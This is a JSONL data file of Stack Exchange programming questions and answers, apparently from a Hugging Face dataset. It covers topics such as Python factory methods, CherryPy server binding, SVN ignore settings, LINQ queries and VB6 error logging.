{"id": "hf_deb8a105734e", "question": "<p>I have some Python code that creates a Calendar object based on parsed VEvent objects from and iCalendar file.</p>\n\n<p>The calendar object just has a method that adds events as they get parsed.</p>\n\n<p>Now I want to create a factory function that creates a calendar from a file object, path, or URL.</p>\n\n<p>I've been using the <a href=\"http://codespeak.net/icalendar/\" rel=\"nofollow noreferrer\">iCalendar python module</a>, which implements a factory function as a class method directly on the Class that it returns an instance of:</p>\n\n<pre><code>cal = icalendar.Calendar.from_string(data)\n</code></pre>\n\n<p>From what little I know about Java, this is a common pattern in Java code, though I seem to find more references to a factory method being on a different class than the class you actually want to instantiate instances from.</p>\n\n<p>The question is, is this also considered Pythonic ? Or is it considered more pythonic to just create a module-level method as the factory function ?</p>\n", "question_body": "", "answer": "It's pythonic not to think about esoteric difference in some pattern you read somewhere and now want to use everywhere, like the factory pattern.\nMost of the time you would think of a @staticmethod as a solution it's probably better to use a module function, except when you stuff multiple classes in one module and each has a different implementation of the same interface, then it's better to use a @staticmethod\nUltimately weather you create your instances by a @staticmethod or by module function makes little difference.\nI'd probably use the initializer ( __init__ ) of a class because one of the more accepted \"patterns\" in python is that the factory for a class is the class initialization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.810601"}
{"id": "hf_d0e81bcf0179", "question": "<p>I'm using python and CherryPy to create a simple internal website that about 2 people use. I use the built in webserver with CherryPy.quickstart and never messed with the config files. I recently changed machines so I installed the latest Python and cherrypy and when I run the site I can access it from localhost:8080 but not through the IP or the windows machine name. It could be a machine configuration difference or a newer version of CherryPy or Python. Any ideas how I can bind to the correct IP address?</p>\n\n<p>Edit: to make it clear, I currently don't have a config file at all.</p>\n", "question_body": "", "answer": "That depends on how you are running the cherrypy init.\nIf using cherrypy 3.1 syntax, that wold do it:\n```\n```\ncherrypy.server.socket_host = 'www.machinename.com'\ncherrypy.engine.start()\ncherrypy.engine.block()\n```\n```\nOf course you can have something more fancy, like subclassing the server class, or using config files. Those uses are covered in\nthe documentation\n.\nBut that should be enough. If not just tell us what you are doing and cherrypy version, and I will edit this answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.861130"}
{"id": "hf_8448594682b2", "question": "<p>It's my understanding that nulls are not indexable in DB2, so assuming we have a huge table (Sales) with a date column (sold_on) which is normally a date, but is occasionally (10% of the time) null.</p>\n\n<p>Furthermore, let's assume that it's a legacy application that we can't change, so those nulls are staying there and mean something (let's say sales that were returned).</p>\n\n<p>We can make the following query fast by putting an index on the sold_on and total columns</p>\n\n<pre><code>Select * from Sales \nwhere \nSales.sold_on between date1 and date2\nand Sales.total = 9.99\n</code></pre>\n\n<p>But an index won't make this query any faster:</p>\n\n<pre><code>Select * from Sales \nwhere \nSales.sold_on is null\nand Sales.total = 9.99\n</code></pre>\n\n<p>Because the indexing is done on the value.</p>\n\n<p>Can I index nulls?  Maybe by changing the index type?  Indexing the indicator column?</p>\n", "question_body": "", "answer": "I'm no DB2 expert, but if 10% of your values are null, I don't think an index on that column alone will ever help your query.  10% is too many to bother using an index for -- it'll just do a table scan.  If you were talking about 2-3%, I think it would actually use your index.\nThink about how many records are on a page/block -- say 20.  The reason to use an index is to avoid fetching pages you don't need.  The odds that a given page will contain 0 records that are null is (90%)^20, or 12%.  Those aren't good odds -- you're going to need 88% of your pages to be fetched anyway, using the index isn't very helpful.\nIf, however, your select clause only included a few columns (and not *) -- say just salesid, you could probably get it to use an index on (sold_on,salesid), as the read of the data page wouldn't be needed -- all the data would be in the index.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.885325"}
{"id": "hf_862d48b2e3fd", "question": "<p>I'm not sure about what's the difference between opening a JS script with </p>\n\n<pre><code>&lt;SCRIPT language='JavaScript'&gt;\n</code></pre>\n\n<p>or with:</p>\n\n<pre><code>&lt;SCRIPT type=\"text/JavaScript\"&gt;\n</code></pre>\n\n<p>Should JavaScript always be quoted (either with \" \" or with ' ') or that's not really important?</p>\n\n<p>Thank you for any clarification on this topic!</p>\n", "question_body": "", "answer": "Use both:\n```\n```\n<script language=\"javascript\" type=\"text/javascript\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.021350"}
{"id": "hf_bd07f87bad7b", "question": "<p>Convert mysql timestamp to epoch time in python - is there an easy way to do this?</p>\n", "question_body": "", "answer": "Why not let MySQL do the hard work?\n```\n```\nselect unix_timestamp(fieldname) from tablename;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.045227"}
{"id": "hf_8e58566fd790", "question": "<p>I'd like to know how to grab the Window title of the current active window (i.e. the one that has focus) using C#. </p>\n", "question_body": "", "answer": "Use the Windows API. Call\n```\nGetForegroundWindow()\n```\n.\n```\nGetForegroundWindow()\n```\nwill give you a handle (named\n```\nhWnd\n```\n) to the active window.\nDocumentation:\nGetForegroundWindow function | Microsoft Docs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.074270"}
{"id": "hf_117087eecce5", "question": "<p>A product that I am working on collects several thousand readings a day and stores them as 64k binary files on a NTFS partition (Windows XP).  After a year in production there is over 300000 files in a single directory and the number keeps growing.  This has made accessing the parent/ancestor directories from windows explorer very time consuming.  </p>\n\n<p>I have tried turning off the indexing service but that made no difference.  I have also contemplated moving the file content into a database/zip files/tarballs but it is beneficial for us to access the files individually; basically, the files are still needed for research purposes and the researchers are not willing to deal with anything else.  </p>\n\n<p>Is there a way to optimize NTFS or Windows so that it can work with all these small files?  </p>\n", "question_body": "", "answer": "If you can calculate names of files, you might be able to sort them into folders by date, so that each folder only have files for a particular date.  You might also want to create month and year hierarchies.\nAlso, could you move files older than say, a year, to a different (but still accessible) location?\nFinally, and again, this requires you to be able to calculate names, you'll find that directly accessing a file is much faster than trying to open it via explorer.  For example, saying\nnotepad.exe \"P:\\ath\\to\\your\\filen.ame\"\nfrom the command line should actually be pretty quick, assuming you know the path of the file you need without having to get a directory listing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.111354"}
{"id": "hf_b3670c60906c", "question": "<p>I'm trying to run a LINQ to SQL query that returns a result in a grid view in a search engine style listing.  </p>\n\n<p>In the simplified example below, is it possible to populate the collection with a comma-separated list of any children that the parent has (NAMESOFCHILDREN) in a single query?</p>\n\n<pre><code>var family = from p in db.Parents\n             where p.ParentId == Convert.ToInt32(Request.QueryString[\"parentId\"])\n             join pcl in db.ParentChildLookup on p.ParentId equals pcl.ParentId\n             join c in db.Children on pcl.ChildId equals c.ChildId\n             select new\n             {\n                 Family = \"Name: \" + p.ParentName + \"&lt;br /&gt;\" + \n                          \"Children: \" + NAMESOFCHILDREN? + \"&lt;br /&gt;\"\n             };\n</code></pre>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Your joins are going to screw up your cardinality!  You don't have a list of Parents!\nHere's some untested free-hand code.  Adding the relationships in the Linq designer gives you relationship properties.  String.Join will put the list together.\nI've added two optional method calls.\nWhere ... Any\nwill filter the parents to only those parents that have children.  I'm unsure of string.Join's behavior on an empty array.\nToList\nwill yank Parents into memory, the children will be accessed by further database calls.  This may be necessary if you get a runtime\nstring.Join is not supported by SQL translator\nexception.  This exception would mean that LINQ tried to translate the method call into something that SQL Server can understand - and failed.\n```\n```\nint parentID = Convert.ToInt32(Request.QueryString[\"parentId\"]);\n\nList<string> result =\n  db.Parents\n  .Where(p => p.ParentId == parentID)\n  //.Where(p => p.ParentChildLookup.Children.Any())\n  //.ToList()\n  .Select(p => \n    \"Name: \" + p.ParentName + \"<br />\" + \n    \"Children: \" + String.Join(\", \", p.ParentChildLookup.Children.Select(c => c.Name).ToArray() + \"<br />\"\n)).ToList();\n```\n```\nAlso note: generally you do not want to mix data and markup until the data is properly escaped for markup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.171607"}
{"id": "hf_f01e7a33bb79", "question": "<p>I'm getting an error message when I try to build my project in eclipse:</p>\n\n<p><code>The type weblogic.utils.expressions.ExpressionMap cannot be resolved. It is indirectly referenced \n from required .class files</code></p>\n\n<p>I've looked online for a solution and cannot find one (except for those sites that make you pay for help).  Anyone have any idea of a way to find out how to go about solving this problem?  Any help is appreciated, thanks!</p>\n", "question_body": "", "answer": "Have you Googled for \"weblogic ExpressionMap\"?  Do you know what it is and what it does?\nLooks like you definitely need to be compiling alongside Weblogic and with Weblogic's jars included in your Eclipse classpath, if you're not already.\nIf you're not already working with Weblogic, then you need to find out what in the world is referencing it.  You might need to do some heavy-duty grepping on your jars, classfiles, and/or source files looking for which ones include the string \"weblogic\".\nIf I had to include something that was relying on this Weblogic class, but couldn't use Weblogic, I'd be tempted to try to reverse-engineer a compatible class.  Create your own weblogic.utils.expressions.ExpressionMap class; see if everything compiles; use any resultant errors or warnings at compile-time or runtime to give you clues as to what methods and other members need to be in this class.  Make stub methods that do nothing or return null if possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.196299"}
{"id": "hf_edf7f318b101", "question": "<p>I got this flash application where you can click a link while watching a video. It will open a new tab and pause the video. Now when you come back to the flash application it would be nice if the video would start playing again. Is there a way, an event or so to do this ?</p>\n", "question_body": "", "answer": "Flash is probably a no-go, but you might have some luck with pure javascript and have that communicate with your Flash Movie. I suggest you play around with the Window's onFocus event.\nI've never used it before, so it might not trigger on any/all browsers.\nThis\nworked in FF3. It's not valid or good code but it's a stepping stone for you:\n```\n```\n<html>\n    <head></head>\n    <body onFocus=\"alert('testing');\"></body>\n</html>\n```\n```\nIt's also really annoying because clicking okay ok the alert, re-triggers the focus. Control+W will close the tab for you and allow you to break the cycle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.244231"}
{"id": "hf_362c197716df", "question": "<p>Which approach do you all think is better?</p>\n", "question_body": "", "answer": "Next to each field, highlighting each field in a distinctive color or with an easily distinguishable mark, so it's self evident where the problems are, especially on a long form. Also place a help icon next to each failure providing more information in case it's needed by some users. In addition, do not forget to preserve the data that's correct in between failures.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.311223"}
{"id": "hf_c969b57f438c", "question": "<p>Has anyone experienced issues with Java's default garbage collector while running apps on VmWare instances?</p>\n\n<p>I am experiencing issues where full garbage collections are not running as often as I would expect and am curious if the VmWare variable has anything to do with it.</p>\n", "question_body": "", "answer": "In general, the garbage collector will only run a full GC when it really needs to.  The reason is that it takes a lot of time.  It will try to do more smaller GCs that take a lot less time.  Fo the most part, this seems to be a good strategy.\nThere are some extra GC flags you can add to the VM if you want to try to tweek things.\nSee this\nAddtionally you probably want to make sure you're running the server vm and not the client vm.\nI guess the real question is what you're trying to acheive.  If you're running out of memory its probably not because of the GC.  Its probably because of\nMemory leaks\n, and yes you can create them in memory managed environments.  They are just a little different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.359921"}
{"id": "hf_78cf5d687146", "question": "<p>I'd like to show/hide a column at runtime based on a particular condition. I'm using \"Print when expression\" to conditionally show/hide this column (and it's header) in my report. When the column is hidden, the space it would have occupied is left blank, which is not particularly attractive.</p>\n\n<p>I would prefer if the extra space was used in a more effective manner, possibilities include:</p>\n\n<ul>\n<li>the width of the report is reduced by the width of the hidden column</li>\n<li>the extra space is distributed among the remaining columns</li>\n</ul>\n\n<p>In theory, I could achieve the first by setting the width of the column (and header) to 0, but also indicate that the column should resize to fit its contents. But JasperReports does not provide a \"resize width to fit contents\" option.</p>\n\n<p>Another possibility is to generate reports using the Jasper API instead of defining the report template in XML. But that seems like a lot of effort for such a simple requirement.</p>\n", "question_body": "", "answer": "If it is just one column, is it possible to place this column to the far right, and then use the print when expression. That way there is not a hole in the middle. I know this is not ideal, as I had tried to do what you are currently trying to accomplish in the past, and could not find what I call a good solution.\nA second idea would to be create a second report based on the first with out the column, and then when calling the report check the condition, to decide which one to call. Again not ideal, but would work.\nI know this is not really the answer you were looking for, but one of these suggestions may work for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.409740"}
{"id": "hf_8b9fc58fff2c", "question": "<p>I'm not asking about converting a LaTeX document to html. </p>\n\n<p>What I'd like to be able to do is have some way to use LaTeX math commands in an html document, and have it appear correctly in a browser. This could be done server or client side.</p>\n", "question_body": "", "answer": "MediaWiki can do what you are looking for. It uses Texvc (\nhttp://en.wikipedia.org/wiki/Texvc\n) which \"validates (AMS) LaTeX mathematical expressions and converts them to HTML, MathML, or PNG graphics.\" Sounds like what you are looking for.\nCheck out Wikipedia's article on how they handle math equations here:\nhttp://en.wikipedia.org/wiki/Help:Formula\n. They also have an extensive reference on LaTeX and pros/cons of the different rendering types (PNG/MathML/HTML).\nMediaWiki uses a subset of TeX markup,\n  including some extensions from LaTeX\n  and AMS-LaTeX, for mathematical\n  formulae. It generates either PNG\n  images or simple HTML markup,\n  depending on user preferences and the\n  complexity of the expression. In the\n  future, as more browsers are smarter,\n  it will be able to generate enhanced\n  HTML or even MathML in many cases.\n  (See blahtex for information about\n  current work on adding MathML\n  support.)\nMore precisely, MediaWiki filters the\n  markup through Texvc, which in turn\n  passes the commands to TeX for the\n  actual rendering. Thus, only a limited\n  part of the full TeX language is\n  supported; see below for details.\n  ...\nPros of HTML\nIn-line HTML formulae always align properly with the rest of the HTML\n  text.\nThe formula's background, font size and face match the rest of HTML\n  contents and the appearance respects\n  CSS and browser settings.\nPages using HTML will load faster.\nPros of TeX\nTeX is semantically superior to HTML. In TeX, \"x\" means\n  \"mathematical variable x\", whereas in\n  HTML \"x\" could mean anything.\n  Information has been irrevocably lost.\n  This has multiple benefits:\nTeX can be transformed into HTML, but not vice-versa. This means that on\n  the server side we can always\n  transform a formula, based on its\n  complexity and location within the\n  text, user preferences, type of\n  browser, etc. Therefore, where\n  possible, all the benefits of HTML can\n  be retained, together with the\n  benefits of TeX. It's true that the\n  current situation is not ideal, but\n  that's not a good reason to drop\n  information/contents. It's more a\n  reason to help improve the situation.\nTeX can be converted to MathML for browsers which support it, thus\n  keeping its semantics and allowing it\n  to be rendered as a vector.\nTeX has been specifically designed for typesetting formulae, so input is\n  easier and more natural, and output is\n  more aesthetically pleasing.\nWhen writing in TeX, editors need not worry about browser support, since\n  it is rendered into an image by the\n  server. HTML formulae, on the other\n  hand, can end up being rendered\n  inconsistent of editor's intentions\n  (or not at all), by some browsers or\n  older versions of a browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.433817"}
{"id": "hf_57f79624fef0", "question": "<p>I just started using SVN, and I have a cache directory that I don't need under source control. How can I ignore the whole directory/folder with SVN?</p>\n\n<p>I am using <a href=\"https://en.wikipedia.org/wiki/Comparison_of_Subversion_clients#Standalone_Subversion_clients_comparison_table\" rel=\"noreferrer\">Versions</a> and <a href=\"http://en.wikipedia.org/wiki/TextMate\" rel=\"noreferrer\">TextMate</a> on OS&nbsp;X and commandline.</p>\n", "question_body": "", "answer": "Set the\n```\nsvn:ignore\n```\nproperty of the parent directory:\n```\n```\nsvn propset svn:ignore dirname .\n```\n```\nIf you have multiple things to ignore, separate by newlines in the property value.  In that case it's easier to edit the property value using an external editor:\n```\n```\nsvn propedit svn:ignore .\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.459140"}
{"id": "hf_2bdbffdd5809", "question": "<p>Can someone explain when to use each of these?  They almost seem interchangeable in many cases.  </p>\n\n<p>The Custom Control gets added to the toolbar while the User Control (ascx) can not.  The Custom Control does not get rendered in the Designer while the User Control does.  Beyond that, how do you choose which is the right one to use?  </p>\n\n<p>Also, I am looking for the best way to access the controls from JavaScript (GetElementById).  So, a point in the right direction for adding client side support would be great.</p>\n", "question_body": "", "answer": "This is from Microsoft's site:\nWeb user controls\nEasier to create\nLimited support for consumers who use a visual design tool\nA separate copy of the control is required in each application\nCannot be added to the Toolbox in Visual Studio\nGood for static layout\nWeb custom controls\nHarder to create\nFull visual design tool support for\nconsumers\nOnly a single copy of the control is\nrequired, in the global assembly\ncache\nCan be added to the Toolbox in\nVisual Studio\nGood for dynamic layout\nhttp://msdn.microsoft.com/en-us/library/aa651710(VS.71).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.495332"}
{"id": "hf_cfea47284fe7", "question": "<p>I would like to have something like this:</p>\n\n<pre><code>class Foo {\nprivate:\n  int bar;\npublic:\n  void setBar(int bar);\n  int getBar() const;\n}\n\nclass MyDialog : public CDialogImpl&lt;MyDialog&gt; {\n  BEGIN_MODEL_MAPPING()\n    MAP_INT_EDITOR(m_editBar, m_model, getBar, setBar);\n  END_MODEL_MAPPING()\n  // other methods and message map\nprivate:\n  Foo * m_model;\n  CEdit m_editBar;\n}\n</code></pre>\n\n<p>Also it would be great if I could provide my custom validations:</p>\n\n<pre><code>MAP_VALIDATED_INT_EDITOR(m_editBar, m_model, getBar, setBar, validateBar)\n...\nbool validateBar (int value) {\n  // custom validation\n}\n</code></pre>\n\n<p>Have anybody seen something like this?</p>\n\n<p>P.S. I don't like DDX because it's old and it's not flexible, and I cannot use getters and setters.</p>\n", "question_body": "", "answer": "The\nCocoa Bindings\nprovide exactly what you want, but they are only available in the Mac / Objective-C word.\nGNUstep\nis a free version of it, but it's still Objective-C, not C++.\nHowever, it might be a good inspiration for an own framework, or a good starting point for further research.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.567083"}
{"id": "hf_eb5efeaf9385", "question": "<p>I need to do the following for the purposes of paging a query in nHibernate:</p>\n\n<pre><code>Select count(*) from \n(Select e.ID,e.Name from Object as e where...)\n</code></pre>\n\n<p>I have tried the following, </p>\n\n<pre><code>select count(*) from Object e where e = (Select distinct e.ID,e.Name from ...)\n</code></pre>\n\n<p>and I get an nHibernate Exception saying I cannot convert Object to int32.</p>\n\n<p>Any ideas on the required syntax?</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>The Subquery uses a distinct clause, I cannot replace the e.ID,e.Name with <code>Count(*)</code> because <code>Count(*) distinct</code> is not a valid syntax, and <code>distinct count(*)</code> is meaningless.</p>\n", "question_body": "", "answer": "If you just need\n```\ne.Id\n```\n,\n```\ne.Name\n```\n:\n```\nselect count(*) from Object where\n```\n.....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.632719"}
{"id": "hf_657990672630", "question": "<p>This is not a new topic, but I am curious how everyone is handling either <code>.js</code> or <code>.css</code> that is browser specific.  </p>\n\n<p>Do you have <code>.js</code> functions that have <code>if/else</code> conditions in them or do you have separate files for each browser? </p>\n\n<p>Is this really an issue these days with the current versions of each of the popular browsers?</p>\n", "question_body": "", "answer": "I use a framework to handle 99% of the xbrowser stuff.\nFor everything not covered in the framework, I'd use a if/else or a try/catch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.684221"}
{"id": "hf_9a36dc8b560c", "question": "<p>How to make database connection pool in PowerBuilder (v9+) with...</p>\n\n<ul>\n<li>...ODBC?</li>\n<li>...SQL Server?</li>\n<li>...Oracle?</li>\n</ul>\n", "question_body": "", "answer": "Unfortunately, at least with PB 9, you can't\nnatively\n.  PB has always been a two-tier dev tool.  However, if you are using the WebServices support that started in PB 9 you can get around this limitation by invoking WebServices on a connection pooled appServer.  I haven't played with PB 11.5 yet BTW.  Could be different there.\nJason", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.722893"}
{"id": "hf_2b43b7446e6d", "question": "<p>I'm looking to add a numeric up / down control to a .Net StatusStrip.  Unfortunately, it isn't listed as an option in the UI designer.  Is there a way to do this? </p>\n", "question_body": "", "answer": "You can use a\nToolStripControlHost\nclass to host a custom ( NumericUpDown for now ) class.\nYou can also derive from this class \"NumericUpDownToolStripItem\" which initialize the \"Control\" property with the custom control and can populate next properties from the hosted control ( Min, Max, Value - for example ).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.746545"}
{"id": "hf_3386a3628eef", "question": "<p>I have VB6 application , I want to put some good error handling finction in it which  can tell me what was the error and exact place when it happened , can anyone suggest the good way to do this </p>\n", "question_body": "", "answer": "First of all, go get\nMZTools for Visual Basic 6\n, its free and invaluable.  Second add a custom error handler on every function (yes, every function).  The error handler we use looks something like this:\n```\n```\nOn Error GoTo {PROCEDURE_NAME}_Error\n\n{PROCEDURE_BODY}\n\n    On Error GoTo 0\n    Exit {PROCEDURE_TYPE}\n\n{PROCEDURE_NAME}_Error:\n\n   LogError \"Error \" & Err.Number & \" (\" & Err.Description & \") in line \" & Erl & _\n            \", in procedure {PROCEDURE_NAME} of {MODULE_TYPE} {MODULE_NAME}\"\n```\n```\nThen create a LogError function that logs the error to disc.  Next, before you release code add Line Numbers to every function (this is also built into MZTools).  From now on you will know from the Error Logs everything that happens.  If possible, also, upload the error logs and actually examine them live from the field.\nThis is about the best you can do for unexpected global error handling in VB6 (one of its many defects), and really this should only be used to find unexpected errors.   If you know that if there is the possibility of an error occurring in a certain situation, you should catch that particular error and handle for it.  If you know that an error occurring in a certain section is going to cause instability (File IO, Memory Issues, etc) warn the user and know that you are in an \"unknown state\" and that \"bad things\" are probably going happen.  Obviously use friendly terms to keep the user informed, but not frightened.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.795711"}
{"id": "hf_4ff56e683762", "question": "<p>How compatible is code written under Solaris with Open Solaris ? I would be interested specifically in some kernel modules .</p>\n", "question_body": "", "answer": "I think it is hard to quantify software compatibility, but I'd say code written for Solaris is quite forward compatible with OpenSolaris kernel. OpenSolaris source code evolves into what will be Solaris 11, and Sun's commitment to backwards compatibility is quite a fact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.854871"}
{"id": "hf_0ed09f45d19f", "question": "<p>I have a web application that needs to take a file upload from the user and upload it to a remote server.  I can take input from user to server fine via file_field, but can't seem to work out the next step of uploading from server to remote.  Net::HTTP doesn't do multipart forms out of the box, and I haven't been able to find another good solution.  I need something that will allow me to go from user -> server -> remote instead of going user -> remote.  Anyone succeeded in doing this before?</p>\n", "question_body": "", "answer": "Surprisingly multipart form posts really aren't in Net:HTTP. A\nthread\nfrom comp.lang.ruby seems to have snippet of code you might find useful to perform the encoding necessary:\n```\n```\nBOUNDARY = \"AaB03x\"\n\ndef encode_multipartformdata(parameters = {})\n  ret = String.new\n  parameters.each do |key, value|\n    unless value.empty?\n      ret << \"\\r\\n--\" << BOUNDARY << \"\\r\\n\"\n      ret << \"Content-Disposition: form-data; name=\\\"#{key}\\\"\\r\\n\\r\\n\"\n      ret << value\n    end\n  end\n  ret << \"\\r\\n--\" << BOUNDARY << \"--\\r\\n\"\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.914044"}
{"id": "hf_ac6d3e7a7dd0", "question": "<p>Let's say I have a string holding a mess of text and (x)HTML tags. I want to remove all instances of a given tag (and any attributes of that tag), leaving all other tags and text along.  What's the best Regex to get this done?</p>\n\n<p>Edited to add:  Oh, I appreciate that using a Regex for this particular issue is not the best solution.  However, for the sake of discussion can we assume that that particular technical decision was made a few levels over my pay grade? ;)</p>\n", "question_body": "", "answer": "Attempting to parse HTML with regular expressions is generally an\nextremely\nbad idea. Use a parser instead, there should be one available for your chosen language.\nYou\nmight\nbe able to get away with something like this:\n```\n```\n</?tag[^>]*?>\n```\n```\nBut it depends on exactly what you're doing. For example, that won't remove the tag's content, and it may leave your HTML in an invalid state, depending on which tag you're trying to remove. It also copes badly with invalid HTML (and there's a lot of that about).\nUse a parser instead :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.974869"}
{"id": "hf_dc7eb0e89f98", "question": "<p>I'm working for a customer with a huge legacy codebase consisting of various Java en JSP based applications.</p>\n\n<p>Most querying is done using the home-build 'orm' system. Some applications use Plain Old JDBC. Some applications are based on Hibernate (yes HQL build with plus signs is a potential problem as well). Some of the older applications are entirely writen in JSP. </p>\n\n<p>I've found a couple of SQL inject bugs manually. But I could really use some sort of tool to search for potential weak spots.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "When I was working on localization of \"this-will-never-need-localization\" application, we use a home-made tool to analyzing compiled code ( IL in .NET, it is same as byte-code in Java ).\nYou can find calling the specified methods which works with DB ( typicaly CRUD operations ) wicht has a string parameter with SQL command, and track the string instance up and check for concating.\nWe used the .NET Reflector for decompiling and tracking strings. But I don't know, if is available similar tool for Java :(.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:46.998955"}
